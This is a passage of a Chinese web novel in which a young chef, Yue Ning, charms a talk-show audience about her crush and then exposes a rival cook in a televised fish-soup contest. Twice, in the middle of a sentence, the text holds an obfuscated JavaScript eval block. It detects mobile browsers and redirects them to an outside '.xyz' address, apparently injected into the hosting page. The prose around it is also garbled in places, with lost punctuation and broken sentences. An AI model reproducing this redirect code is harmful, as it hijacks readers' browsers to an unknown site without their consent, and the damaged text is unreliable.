《卸下心防》，夜深人静探寻TA心底的秘密。”主持人一句固定开场白后，转向另一位主持人说，“裕合兄，你知道为什么我们今晚要临时换嘉宾吗？” 还没上台的岳宁，听见这句话，不免觉得这个主持人心胸狭窄了。 她上辈子也曾被推荐看过九十年代港城的深夜谈话节目，节目中三位名流围着嘉宾，在轻松的氛围下与嘉宾互动畅谈。受社会风气影响，谈的话题很开放，有些话题虽少儿不宜，却不能说是低俗，也让大家窥探到港城高速发展年代的人文世情。 三位主持人各有特点，但都是学贯中西、通达古今的人物，语言风趣幽默，虽偶尔爆粗口、开黄腔，却很有分寸，而非一上来就这般阴阳怪气。 相似的节目，差距是不是大了点？ 刚刚岳宁在蔡致远办公室闲聊时，问过蔡致远：他们本来肯定安排了嘉宾，她挤掉那位嘉宾上节目，是不是不太好？ 蔡致远告诉她，是她来救场了。本来约定的那位男嘉宾，被狗仔拍到与一位女士十指相扣、同游曼谷的照片。那位女士是该男明星结婚两年的妻子，但此消息尚未透露给公众。 这个男明星虽已不是人气最高的，但仍有一大批粉丝，节目组怕那群狂热的女粉丝做出极端的事。 岳宁一想就明白了：这男明星承受不了掉粉、粉转黑，继而事业一落千丈的后果，说到底是既想享受婚姻的安稳，又想维持单身偶像的人设。 岳宁刚好昨天抵港，谁都没想到，她的热度会比那个男明星还高。又恰逢岳宁自己公开说要上这档节目，趁着她热度超高换掉那个男明星，是多方面受益、皆大欢喜的事。 可主持人来这么一句，不是触动那些女粉丝的神经吗？是想引导那些女粉丝攻击她，还是想让事情发酵？ 另一位主持人只能打哈哈：“我不知啊！” “有请，抵港就红到发紫的岳宁岳小姐。”那位名叫闻衍的主持人说。 岳宁走上台，电视台的造型师按当下最流行的妆容给她化妆。刚才岳宁还觉得自己这个年纪化这个妆显老，现在却认为这样明艳的妆容刚刚好。 在直播间暗调的灯光下，她眉眼凌厉，身上的外套流光溢彩，脚步略带随性却松弛有度，这气质哪里像一个十八岁的少女？ 岳宁向来走亲和力满满的女总裁形象。曾有人发过她在办公室发火的照片，网友 说就算隔着屏幕都能被她的眼神给刀了。大家这才知道，亲切只是表象，事业做到那么大的人，没一个简单的。 这档节目常请女艺人，这位主持人习惯了邀请女艺人落座时搭上对方的手臂，或手掌贴住对方的背。此刻岳宁眼神微微一扫，他的手竟不知往哪里放了。 另一位杨裕合隔得较远，他手势示意岳宁坐下。岳宁坐下后露出笑容：“裕合叔好，衍叔好！” 这档节目虽说不上完全像相声一样一捧一逗，但也是一主一次的搭配。平时都是闻衍主讲，他很会开场引导。今天闻衍略有冷场，杨裕合便接上话：“不服老不行，我和闻衍已经变成‘叔’了吗？” 有了杨裕合的开头，闻衍已反应过来：“岳小姐，故意把我们叫长一辈，是提醒我们你尊老，我们要爱幼，让我们嘴下留情？如果岳小姐真觉得自己年幼，这可是午夜成人谈话节目，不适合小朋友哦！” “哈哈哈！”岳宁大笑起来，“闻先生验证了一句古话。” “什么古话？” “男儿至死是少年。无论真实年纪多大，都认为自己才十八岁。”岳宁看向杨裕合，“裕合叔是我爷爷的老食客，他们认识这么多年，我若叫‘哥’，未免对他太不尊重。如果叫他‘叔’，叫你‘哥’，不白白给你降辈分？我就上一次节目，无所谓的啦！难道你以后在节目里……” 岳宁做了个手势：“你懂的。” “也可以啊！”杨裕合说道。 闻衍笑：“这么说，我要谢谢你！” 岳宁坦然接受：“不用客气。” 暖场气氛够了，闻衍拿起那张报纸，指着图片说：“我们切入主题，你上节目是为了给大家揭开你到底亲没亲的谜底。” “我没亲。”岳宁连关子都不卖，直接揭开了谜底。 闻衍把报纸放在茶几上：“你就是来澄清的？” “我陈述的是事实。”岳宁耸肩，“你们不想知道我想不想亲吗？” 别的女嘉宾常被问题问得不知如何作答，岳宁却是自己抛出话题。 “你想不想亲？” 岳宁坦荡荡地回答：“想。” 乔君贤坐在会议室里，和表哥一起看直播，听见这句话时，咖啡杯放在桌上，溅出几滴咖啡。 他还没稳住心神，就听岳宁说：“十八岁、在山村生活的岳宁，见到乔君贤的第一眼，一见钟情得简直理所当然。我脑子里 冒出一句再贴切不过的诗句：‘草堂初见伊，明月当满窗。’” 电视里，岳宁形容自己的破茅屋，形容那个月光洒落的夜晚，乔君贤就那样出现了。 乔君贤的心怦怦直跳，蔡致远难以置信地说：“她真的喜欢你啊？” 即便听见了心动的话，乔君贤仍摇头：“不可能。” 两个主持人见她愿意讲，又问除了初见，还有其他故事吗？ 电视屏幕里的岳宁说：“把那罐可乐给我。” 杨裕合把可乐递给她，岳宁摇头：“裕合叔，这就是你跟乔君贤的差距，乔君贤第一次请我喝可乐时，帮我打开了易拉罐。” 杨裕合连忙说：“拿过来，拿过来，我替你开。” 岳宁自己打开可乐喝了一口：“开个可乐多大点儿事，我还要你来开？” 杨裕合被她说得没脾气了。 岳宁像是在回忆：“但你知道吗？他给我开可乐的这个动作，真的好温柔、好文雅。我又冒出一句诗：‘山似玉，玉如君，相看一笑温。’” 两人都是名流，文章时常见报端，闻衍不禁好奇：“你还有多少句诗形容他？” 岳宁从乔君贤教她填表格、给她送学习资料说起，又念了两句诗。 蔡致远听得浑身起鸡皮疙瘩：“宁宁这也未免太刻意了，我在想，要不要让她四十五度仰望？我情愿让她给我做两顿饭算了。” 电视里，岳宁问：“你们说，当时乔君贤就在我嘴边，我想不想下口？” “想。”杨裕合觉得这期节目，他和闻衍都快成摆设了，让岳宁自导自演算了。 “是啊！”岳宁还搓了搓手，“就在我天人交战时，脑子里浮现出爸爸的话，他说：‘宝宝，虽然古语说“厨子不偷，五谷不收”，可是你千万记得，我们要守规矩，哪怕这个菜是山珍海味，不该你吃的，你一口都不要下嘴。’我又想起莫伯伯摸着我的小辫子说：‘囡囡，记得哦！发乎情，止乎礼，君子所为也。’我生命中最重要的两个长辈，都在提醒我做人要有规矩、有道德，要懂得克制。我想归想，终究没下嘴。” “听起来你很遗憾？”闻衍大笑。 “不不，我暗自庆幸。”岳宁无奈地笑，“后来吗？不是吃得很饱吗？他要带我去海边消消食。我刚到港城，什么都新奇，看见一对 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“他们说您当年追第三任太太追得猛烈为她写诗、为她写书那么痴狂可把她追到手后婚后半年就因她感冒擤鼻涕您无法接受最终离婚了。”岳宁笑看着他“我一下子就明白了我现在对乔君贤的感觉跟您追第三任太太时何其相似？那都是我们心里想象出的完美形象只是套在他们身上而已。可人终究是人都会吃喝拉撒不免行差踏错。甚至他们没有行差踏错我们也可能瞬间不喜欢了。我就问自己：我能忍受乔君贤到时候跟乔爷爷一样没头发吗？答案是：不能。” 杨裕合说：“你这思想成熟得比你衍叔早。” “裕合叔你不要想占衍叔便宜。衍叔比我还不成熟他要是成了我弟他得叫你什么？”岳宁仰头喝光可乐放下罐子“不过衍叔你这真是……我不说了渣男真渣！” 不说了还得骂两句？当年闻衍这件事也为人诟病他也不敢接话深入讨论。 “就像尖叫着爱刘家耀的粉丝一样我也曾把乔君贤当成完美偶像可这不是现实生活。现实生活中喊着要做刘家耀老婆的粉丝大多数人都会成为别人的老婆。” “所以你想明白了不喜欢他了？”杨裕合问。 岳宁摇头：“喜欢啊！他那么好我为什么不喜欢？他读书好、有礼貌、愿 意帮助我这些都是我可以学习的。他给我找了学习资料我准备在港城考大学。我也会认真读书、讲礼貌、乐于助人。等我到他的年纪兴许就成了别人心目中的乔君贤这就是偶像的力量他让我成就更好的自己。” “这也是你一开始问的问题：为什么我们今晚要临时换嘉宾？”岳宁看向镜头“追星是追逐偶像的脚步从偶像身上汲取力量。但偶像也是人有一天我发现乔君贤的缺点我会接受；知道他结婚的消息我会祝福；也可能不再把他当偶像。我相信电视机前的你也一样。” 看着电视的蔡致远：“她……她这是在给粉丝上课？她这样说不是让人把目光又聚焦回……” “凭什么她要替别人承受粉丝的怒火？”乔君贤回了表哥一句站起来准备接她回去。 一场节目看似真诚其实没一句真心话。 “最后问一句如果你真的完全了解了乔君贤 岳宁看着镜头：“如果我想了解他五年时间足够了。那时他还没女朋友我也还喜欢他的话……” “怎么样？” 岳宁笑得得意：“那我就追他。” 见到这个画面乔君贤忍不住笑了起来…… 第50章 去大球场 岳宁昨晚回来已经是凌晨一点多了，今天六点不到就起床，一出宝华楼的门就被狗仔们团团围住，都在问她是不是真的会追乔君贤？ “我不是说五年吗？我现在肯定是要好好读书，好好做事。今天的任务就是信守承诺，跟强叔比拆鱼羹。” 设备早就已经送去了现场，阿松和学徒阿忠跟了货车过去。 家里就留了阿伟带两个学徒中午卖烧腊，阿明还有三个学徒和祖孙俩一起上车，也算是倾巢而出了。 岳宁上车，见丁胜强已经在了，她打招呼：“强叔早啊！” 丁胜强讨厌岳宁，却又贪她带来的客流，他就不明白了，这个死丫头怎么一来就能闹得港城的镜头都对准了她？ “早。”丁胜强又看向岳宝华，“师傅早。” 岳宝华懒得搭理他，直接坐后边去了。 见岳宝华不搭理他，丁胜强索性回过头去，看向祖孙俩：“宁宁啊！今天你们宝华楼几乎全体出动，尤其是你和师傅，祖孙搭档来对付我一个，我即便是败了，那也是虽败犹荣。” “那是，那是！以强叔的脸皮，无论怎么败，都是荣耀。”岳宁笑着说，“反正电视台是我联系的，我又跟亨通有关系，今天的评委中又有好几个都是我爷爷的老食客。什么话你都准备好了，对吧？” “宁宁，你何必把我想得这么恶劣。昨天晚上我边看节目边想。你说得全对，我们就和平相处，对吧？各做各的生意，各赚各的钱，你说是不是？”丁胜强笑着说，“以前的事吗？过去就过去了。大家一起向前看，有钱一起赚。” 经过这两天，他发现放胶布那次闹出来的动静，完全不能跟这两天比。岳宁这么会折腾，这条街以后多旺？再跟岳宝华过不去，那就是跟钱过不去。 那些伤害别人的人，总是轻描淡写地说一句过去就过去了。岳宁上辈子在父母弟弟嘴里听够了这样的话。 “只要是诚信经营，我们都欢迎啦！” “那就说定了？” “说定了，大家都规矩做生意，让咱们街道的口碑越来越好。”岳宁非常客气。 这话丁胜强可太爱听了，看向岳宝华：“师傅，宁宁都这样说了，您也不用再置气了。不管您认不认我，抬头不见低头见的，您老是生我的气，那对您的身体也不是好事，对吧！” “强叔，你别担心了，我爷爷有我呢！” “是啊 ！那你就好好劝劝你爷爷！”丁胜强说道。 岳宁打了个哈欠：“叔，我昨晚睡得晚，补一会儿觉。” 她闭上眼睛，其实也睡不着，那就听车载收音机播报新闻吧！ 正在说的就是那个带隐婚老婆去泰国的男星，男星起得可真早，这会儿已经道歉道上了。 昨天节目结束，蔡致远跟着乔君贤一起来接她，蔡致远不免抱怨两句，说她为什么要把那个男星引出来？ 自己告诉他，本来自己打算装不知道，帮他顶上。但是那个闻衍要把火往她身上烧，她可不想被狂热的粉丝攻击。 她让蔡致远去找闻衍好好聊聊，那个闻衍如果不会主持只会惹麻烦，就趁早滚蛋。 这不她一指路，那个男星的新闻就爆了，只能出来道歉。这个男星居然说圈子里大家都这样。 这下好了，其他人也岌岌可危，新闻里说圈内当红男星，纷纷出来否认有老婆。这么不懂事的男明星，以后会被公司雪藏吧？ 那个闻衍以后出镜机会也少了吧？ 后面一条则是说乔君贤，狗仔随机采访了一个早上买菜的师奶，师奶那个激动，恨不能去抱着乔君贤的脸蛋狂亲。 乔君贤从小糯米团子开始就出现在公众的目光里，他在港城有诸多师奶粉他。 当年和他一起长大的那帮少爷们，就算是他大哥，也是有好几段恋情，不算是渣男吧？ 大家对还没有绯闻的乔君贤还抱有幻想，也做好了他人设崩塌的准备。 乔君贤读书回来，正是大家静观其变的时候。 突然爆出和一个内地刚刚来港城的牧羊女一起吃饭，还被牧羊女亲脸了。 这些师奶们，用脚底板想想，哪怕这个牧羊女是乔君贤的小姨夫带大的，他一个大家公子，学历高样貌好，怎么可能真娶这么一个姑娘？恐怕也是玩玩而已。 可另一面又想是不是这个牧羊女勾引她们的乖乖仔了。 正当她们在两边反复横跳的时候，她们听到了岳宁节目中说出来的细节。 他**迢迢陪着岳宝华去小山村找岳宁，他一路上绅士又温柔地照顾岳宁，知道了岳宁和他小姨夫的关系之后，他真心帮岳宁，就连岳宁来港的手续都是他帮忙一起填，而且办下来了手续亲自送过去。 听说岳宁要读书，他还去买资料，亲自送资料。这一段早就有狗仔发了照片。 最最可爱的是，他们牵手 是因为他不许岳宁看人家接吻还说什么“非礼勿视”。 这下师奶们又满血复活那些年她们追过的小团子不仅没有变成臭男人而且还变得更好了呢！果然世界还是美好。 原本师奶们代入妈妈的角色对岳宁横竖挑剔就像看儿子交的女朋友一样看不上这个内地来牧羊女。 现在电台里的师奶拼命地夸岳宁：“这个女孩子好可爱也很有趣她是懂看人的。她想亲乔君贤不是很容易理解吗？她能克制住已经不错了。” 电台里还出现另外一个声音：“是啊！是啊！这个女孩子说得好准确她还懂那么多？很聪明的啦！我祝她早点考上港大。能够早点配得上乔君贤那她就有勇气追乔君贤了。” 师奶们还磕起了CP？ 电台又播了采访乔君贤亲妈鸿安百货公司总经理乔叶应漪女士的录音：“大家觉得君贤好乖那都是表象。小时候他好顽皮的啦！他最喜欢去新加坡外婆家跟表哥表姐们玩 主持人问：“乔太对岳宁发表五年后追乔君贤先生是什么看法？” 乔太说：“我们家不管小朋友们的拍拖啦！只要他们喜欢我们都支持。就是今天早上家翁没有吃到家姑做的苏州小点。” “为什么？” “家姑嫌弃家翁没头发影响孩子们找女朋友。”乔叶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915407|176918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应漪笑了一声“君贤大概率不会啦！乔家和先生的头发还是很多的。” 后面就是重磅推荐昨天上节目的岳宁今天要在大球场与岳宝华的徒弟丁胜强比试拆鱼羹。 等新闻里把两家的恩怨情仇说清楚车子也到了大球场岳宁睁开了眼睛。 跟在爷爷身后进入大球场离开始还有两个多小时已经来了不少人。 岳宁祖孙带了一串人来丁胜强就带了两个小徒弟人数上宝华楼就已经碾压胜华楼了。 有个记者冲到岳宁面前：“岳小姐很多观众想知道你昨天上节目的衣服是哪里买的？” 岳宁不禁佩服赵熙如这都来了？她说：“那条裙子是不是超漂亮 ？本城品牌Sisi的。 “不是，那条裙子大家都找到了。是想问你那件好华贵的上衣？ “南京云锦面料，内地的老裁缝做的，赵熙如小姐也很感兴趣，如果大家对此很有兴趣的话，我想她会跟进的。当然如果是散客，回乡的时候可以顺带去粤城友谊商店，里面有好多好漂亮的面料。岳宁低头看身上，她今天穿了那件黄底，龙凤呈祥团花纹的马甲，她略微侧了身，“这件是苏州宋锦，看到了没有它在阳光底下，角度不同，颜色也不一样。还有盘扣，很精美的。中国传统的面料，民间裁缝的手工。绝对不输那些国际大牌。 这个记者问完了另外一个记者问她：“岳小姐，听说是你建议把比试放到这里？ “是的！大家太热情了。那是对我和对宝华楼的喜爱。岳宁才不管里面多少人是来看热闹，她微笑着说，“但是这么大的客流，不是小小的一条街道可以承受的。也许我的担心是多余，但是就怕万一吗？我希望每个人都能平平安安，开开心心。 “对今天的比试有信心吗？ “拆鱼羹是我爷爷的拿手菜，也是我爸爸在粤城福运楼口碑最好的菜，我是他们的传人，我肯定有信心啦！ 记者又去问丁胜强：“丁大厨，你对今天比试有没有信心。 “我跟随岳宝华先生学艺十七年，岳宝华先生教我尽心尽力，我也是力求完美。宁宁才十八岁，就算我赢了她，也不算什么特别荣耀的事。丁胜强笑了笑，“师傅教了我手艺，今天有机会教一教师侄女，也算事我报答了师傅教授的恩情。 “您认为岳宝华先生会领情吗？记者问他。 岳宁挑眉：“我爷爷很理解强叔，涌泉之恩，滴水相报吗？ 丁胜强面皮抽了抽，伸出手：“宁宁，刚才车上已经说好了。过去的事让它过去吧！我们先过去？ 岳宁笑着回应：“强叔，请。 球场中央，两家各自搭了棚子，树了牌子，灶台和桌案已经准备好了。 几张圆桌摆在边上，今天比试也就各家出五道拆鱼羹，所以也就这么点观众，可以有机会品尝到他们的菜。 既然是摆村宴的架势，却如此小气吧啦？岳宁心里愧疚。 上辈子，她为了回馈粉丝，按照粤城的习俗搞了一场村宴，她带着宁宴的厨师们，开了几千人的流水席。 不去多想了，先比完再说。 第51章 比试 一切准备就绪，鱼都是一直给宝华楼和胜华楼供鱼的卖鱼陈送来，配菜则是两家自带，全部是原料状态，说好了要从头到尾展示，保证大家都能学会。 直播开始，主持人先介绍今天请来的重量级专业评委，昨天晚上的主持人杨裕合在，还有一位胖乎乎的女士，是电视台做菜栏目的主持人乐梅姐，据说港城师奶的菜谱一大半都来自她，另外一个很有气势的男子，岳宁不知道，昨天苏小姐说，这位是港城高档餐厅的主厨。 “这个陆进勇怎么来了？”阿忠在岳宁边上悄悄说。 “这谁啊？”岳宁问。 “去年港澳几家大酒店举办厨艺比拼，他和荣哥杀到决赛，争夺厨王的头衔，荣哥的菊花五蛇羹以味道略胜一筹夺了厨王的头衔，他差那么一点点……” 岳宁打断了阿忠的话：“马上轮到介绍我们了。等下再说。” “好。” 主持人说：“我们现在有请宝华楼和胜华楼的大厨出场。” 岳宁带着阿忠走了出去，丁胜强身后则是跟了两个学徒，他看见他们只有两个人，微微愣了一下。 主持人介绍了两家的人员，问岳宁：“你确认今天会把宝华楼拆鱼羹的秘诀教给全港的师奶吗？” “当然。” 丁胜强则是说：“拆鱼羹没什么秘诀，唯有用心做而已。” “那好！我们开始。” 两家各就各位，岳宁和阿忠，各自从铁皮箱里拿出鱼来，两人各杀各的鱼，岳宁的手法很快，五条鱼杀了三条。胜华楼这里到底是三个人，两个学徒杀鱼，杀一条，丁胜强取下鱼的两边，等岳宁准备片鱼，胜华楼的人已经倒油入锅准备煎鱼了。 这个时候，岳宁让阿忠片鱼，她笃悠悠地在阿忠身边解释，就算是花鲢，为什么也要抽掉两边的筋？还说师奶们要是嫌弃麻烦，就不用抽了。 等他们五条鱼把筋全部抽完，丁胜强已经在煎鱼肉了，他抬头：“宁宁，你这样大家都等着饿肚子吧？宝华楼午市和晚市各出十份拆鱼羹，就算是慢工出细活，也不是你这样慢的吧？拆鱼羹最耗费功夫的是在拆鱼上。” “强叔说得是。我马上追上来，不会比你慢的。”岳宁拿起一片阿忠片下来的鱼，对阿忠说，“你拿一片鱼，我来教你我爸的独门绝技。” 阿忠也拿了一片鱼，岳宁问他：“做鱼生，要怎么剔刺？” 阿忠反应过 来：“中间一条，鱼尾一条。” 岳宁笑：“来吧！” 她一条一条细刺剔出来，对着镜头说：“传统拆鱼羹就是强叔这样的，最最繁琐的一道手续就在于拆。我现在提前把细刺给取出来了，拆的功夫就少了。” 她看向丁胜强问：“强叔，我说过今天是教学相长，这个小妙招你学会了吗？” 丁胜强看着在油锅里冒泡的鱼肉，拆鱼羹难拆就在于，鱼肉进了油锅，煎熟之后，鱼肉和鱼骨粘连在一起，必须一根一根细刺拔掉，再把鱼肉碾碎成鱼茸。他鱼已经煎下去了，他捞起来也没办法用她的方法剔了。 岳宁和阿忠一起把肉剔了细刺，她锅里下油，下了宽油润锅之后，再把油倒出来，只留了少许底油，放了两片鱼肉下去煎：“我爸爸教我，人不可以走捷径，拆鱼羹的鱼肉不可以放油锅里炸，就跟牛排不是炸熟的，而是煎熟的是一个道理，要的是美拉德反应的这股香气。强叔，你这一步上有瑕疵了。我爷爷是教你直接炸的吗？学艺不精。” 岳宁一边煎鱼肉，一边让阿忠配葱姜水。 对过的丁胜强是听都没听过。还有这个步骤？ 只见岳宁把煎得金黄的鱼肉，浸泡进葱姜水里。 丁胜强的鱼肉已经一锅出了，两个学徒接手开始拆骨。 丁胜强呵呵一声：“拆鱼羹吃的就是这个香气，你这么泡了鱼肉香气全跑了。” “慢慢看就知道了。我说了，一定会教会大家，包括你。不要着急。” 岳宁又两片鱼出锅，阿忠已经把头尾给切好了。 岳宁开始跟他说猪油豆油的调配比例，让他起另外一个锅子，岳宁这里鱼肉煎好，立刻过去煎鱼骨鱼头鱼尾，熬鱼汤。 每做一步，她既是跟阿忠讲重点，也是跟电视机前的观众讲重点。 丁胜强也在熬鱼汤，他的鱼汤步骤倒是跟岳宁如出一辙。 岳宁盖上锅盖，转身过来，跟阿忠一起切配菜。 丁胜强的两个徒弟正在认真拆鱼刺，以前在宝华楼的时候，拆鱼羹食材普通价格却很贵，好些食客都是冲着岳宝华的手艺来吃的，一天就卖那么几份，他们轮到拆鱼刺的机会也不多。到了胜华楼更加没机会了，这都是阿旺婶的活儿。 今天是比试，让客人吃出鱼刺，那是输定了。 就这个速度？比丁胜强预想中的要慢了很多，他只能认命地自己去弄配菜。 岳宁不满意阿忠的基本功，让他剥笋壳，去胜瓜皮。她也认命地自己切配菜。 摄像头对准岳宁，案板上刀切得飞快，都有虚影了。主持人拿起一根笋丝，放到一个有宝华楼牌子的白瓷盘里。 主持人又到丁胜强那里，丁胜强刚刚配菜去完皮，开始切笋丝，主持人就等在那里，等他切了笋丝下来，放在胜华楼的白瓷盘里，还问：“岳小姐、丁大厨，你们认为你们俩的刀工谁好？ “我不敢跟强叔比刀工，他说他进宝华楼学艺十七年，到现在做厨子都快十九年了吧？我还没满十九岁呢！我比他可能强的一点是，我爸爸的天赋要比我爷爷强，我的天赋也很高，所以做菜的手法上要好。但是基本功，那是要靠岁月磨炼出来。岳宁说道。 丁胜强听她这么说，他说：“我看不到你切得到底怎么样，但是你这个岁数，有这个手法已经了不起了。 主持人请了专业评委下来，评断两根笋丝，电视里的观众都看得清清楚楚，虽然都很细，但是粗细总归有差别。 杨裕合看向岳宁：“刀工了得。 “其实我们中国厨师有些过于在刀工上追求极致了。切得再细，没有美感，有什么用。陆进勇评价。 另外一位专业评委乐梅姐说：“在港城，陆大厨是唯一能做到色香味形俱佳的中餐厨师。 阿忠见他们走了，撇了撇嘴，偷偷跟岳宁说：“还不是输给荣哥，所以不服气。他就是摆盘花哨吗？ 岳宁已经切完了，放下刀，赏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915408|176918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了他一个爆栗：“你说谁花哨？ 阿忠恨不能拍烂自己的嘴，去年荣哥参加比赛，他们可是一期不落地看了。看过岳宁给那群少爷小姐做宴席的摆盘，那陆大厨的摆盘，也就稀松平常吧！ “我错了，我错了！阿忠连忙认错。 “给我换干净的案板来。 “要案板做什么？ “教你宁式拆鱼法。 “哦！哦！阿忠换了干净的案板过来。 丁胜强还在努力切配菜，岳宁笑呵呵：“强叔，加油哦！ 岳宁拿出一块浸泡过的鱼，花鲢鱼鱼块大，岳宁把鱼一切为二，她用刀侧面往下一压一捻，鱼肉已经成鱼茸了，她问：“看清楚了吗？ “看清楚了。 “你来压。 阿忠压了一块，岳宁很满意，让阿忠压鱼茸。 两家都在炖汤，这里又没 有抽油烟机鱼汤的香味飘散开来观众评委都来不及比较两家厨子谁切的丝更细头都往这边看来。 岳宁揭开锅盖白雾带着醇厚的香气蹿了出来。岳宁悠闲地舀起一勺汤。她再次盖上了锅盖往爷爷那里看去。 岳宝华带着徒子徒孙观摩阿松他们早就见识过了岳宁的厨艺知道她肯定藏着绝招果然吧？ 尤其是阿明他平时最多跟岳宝华搭档烧拆鱼羹他煎鱼拆鱼宝华楼数他拆鱼最熟练现在看丁胜强那两个徒弟拆鱼看得他不能忍。就算是手工拆鱼刺也没这么慢吧？ 岳宁把换下来的案板洗干净放边上拿了抹布擦了案台。 “宁宁我好了！”阿忠叫。 岳宁过去捻了一下鱼茸看向胜华楼那几个人还在努力中。 她拿起炒勺用混合油润锅开始炒鱼茸跟阿忠说：“过滤鱼汤。” 阿松跟岳宝华说：“这一步跟您的也不一样。” “那是你志荣哥的诀窍。要求快就要让煎过的鱼软化压过的鱼茸香气就会走掉部分重新炒一下激发香气。如果是在酒楼做菜浸泡鱼肉的葱姜水就不要倒掉了可以用来熬鱼汤。”岳宝华跟阿松说。 鱼汤倒入炒鱼肉的锅里香气四溢。 岳宁把配菜加进去已经开始调味了她看向还在拆鱼茸的两个学徒比自己想象得还要慢得多。 岳宁抬头问：“还没拆完呢？就你们这个速度胜华楼怎么做到无限量供应拆鱼羹的？” 哪家好吃绝对不是她今天比试的重点。 配菜还没完全切完的丁胜强背上冒汗又听岳宁说：“如果用我爸爸的办法这是工艺制程的改进从原来拆一条鱼四十多分钟缩短到只要四五分钟。以后宝华楼拆鱼羹可以敞开供应了。你们每天卖多少份拆鱼羹按照你们现在的速度胜华楼后厨得有多少人 岳宁勾芡完成放下勺子。她说：“学艺不精是能力问题。但是偷工减料那就是品德问题了。” 丁胜强这才意识到自己上了岳宁的套她磨磨唧唧等他鱼下锅才开始剔鱼刺就是埋了坑让他踩。 “你根本不是想跟我比拆鱼羹谁做得好！”丁胜强大吼。 “你说拆鱼羹没有秘诀唯有用心而已。”岳宁盯着他看问“你的心在哪里？” 说完她打了个响指：“出锅。” 第52章 有始有终 阿忠盛出拆鱼羹，自有电视台安排的人员上菜。 岳宁走到对过，看着气得浑身发抖的丁胜强。 “强叔，你还好吧？”岳宁很关心地问。 “不用你猫哭耗子。”丁胜强额头青筋爆出，抄起手边的炒勺往岳宁扔过来，岳宁只是偏了一下身，炒勺掉到她身后的地上。 岳宁看向丁胜强的两个徒弟：“你们师傅情绪不稳定，带他先回去吧！” 两人下意识地听岳宁的话，走向丁胜强。丁胜强面对岳宁有种无力感，但是对着自己的两个徒弟，师傅的身份摆在那里，赤红着脸问：“你们是我的徒弟，还是她的徒弟？” 两人也迫于他的积威，不敢动了。 岳宁声音淡淡：“先不说你有没有心思做完这个拆鱼羹，就算你做完了，它能证明你店里的拆鱼羹和它是一个东西吗？好好去想想怎么解释这个问题。” “你陷害我！”丁胜强吼叫。 岳宁无奈地笑一声：“如果你不是打着宝华楼正宗的名义，那你用什么鱼，你用什么鸭子，你用什么肉做菜，跟我们有什么关系？但是你打着宝华楼传承，吸引的是我爷爷的食客，你不知道宝华楼的菜品是什么质素吗？这叫我陷害你？客人不应该有知情权吗？” 现场那么多记者这时一拥而上，全把话筒递到他们俩嘴边。 “丁先生，岳小姐说的确有其事吗？” “岳小姐，您说胜华楼的菜品原料来源有问题，请问你有证据吗？” 岳宁摆手：“我只是怀疑，所以我提出这个比试，我想从他的制作程序上验证我的猜想。如果他跟我用同样的方法做拆鱼，就不存在问题。可惜他不是？我把疑问给到你们，追求真相是新闻记者的职责所在。” 面对一大堆话筒，丁胜强越发惊慌失措。慌忙推开记者，往外跑去，两个徒弟还在大眼瞪小眼，岳宁说：“你们快跟上，当心好你们师傅。” 岳宝华已经走到了岳宁身边，岳宁转身过去：“强叔今天做的拆鱼羹，为了求快，油炸了鱼块，但是其他步骤没问题，爷爷您接下去做完它，让大家对比一下，您徒弟大致的水平。” 岳宝华微微愣了一下，这些天来他已经习惯了孙女的话，先不要质疑，照做之后再说。他洗了手，鱼汤调最小火，去把剩下的一点鱼给拆了，替丁胜强的拆鱼羹收尾，他舀了小半碗出来，岳宁试了一口：“就是香气上 差了一点，鱼汤炖煮的时间略长，鱼汤略微浓稠，其他都挺好。上桌吧！ 主持人过来问：“还要评判吗？ “来都来了，都尝尝。两份拆鱼羹，风味上还是有区别的。有始有终，好不好？岳宁说道。 拆鱼羹被端到专业评委和观众评委那里，岳宁对着观众鞠躬：“真的很抱歉，这场比试，我最初的目的，只是因为丁胜强踩着我爷爷的宝华楼，我爷爷怀疑他们的菜品，挂羊头卖狗肉。我就想用比试的办法，去验证我们的猜测。我没想到我一夜之间爆红，客流瞬间变大，宝华楼门前的街道狭小，又是明火，出现踩踏和火灾的话，会是我一生都难以背负的罪孽。只能麻烦大家到大球场，但是今天这样的电视直播，也是为了我们两家的事，占用了公共资源。我在这里向现场的来宾和电视机前的观众道歉。 说完这一段，岳宁走到专业评委面前，也是先一鞠躬：“胜华楼的这一份虽然最后是我爷爷做的，但是基本上可以代表，丁胜强用心做菜水准。我那一份呢？是我爸爸教的，我爸爸曾被誉为福运楼最有天赋的厨师，作为他的传承人，我尽可能还原他的做法。 杨裕合笑着抬头看她：“想听意见？ “嗯！ “我是你爷爷的老食客，后面这一份拆鱼羹，味道可以，但是它无法代表你爷爷的手艺。就像你说的，鱼肉放油锅里炸就是大错了。加上汤煮得略微时间长了，与其说是浓稠了，不如说该有的香气也走掉了不少。这也是我为什么自从你爷爷去内地找你之后，没去过胜华楼的缘故。杨裕合笑着说道，“你的这一碗拆鱼羹……我想说华叔后继有人了。而你也不仅是昨晚那个牙尖嘴利，甚至有点圆滑世故的小丫头。能有这个手艺，一定是下了很大的功夫。尤其是我今天看到了照片上你的草堂，在那样的环境里长大，还能有这样的手艺，很了不起。 岳宁弯腰：“谢谢裕合叔。 许乐梅看向杨裕合：“你都把我想说的话都说完了。我该怎么说呢？明天的节目，我就试着岳宁的办法做拆鱼羹？ “谢谢乐梅姐！ “你叫他叔，叫我姐？按照你昨晚节目里的说法，我比他就平白低了一辈？ “我叫您乐梅姨可以吗？岳宁说。 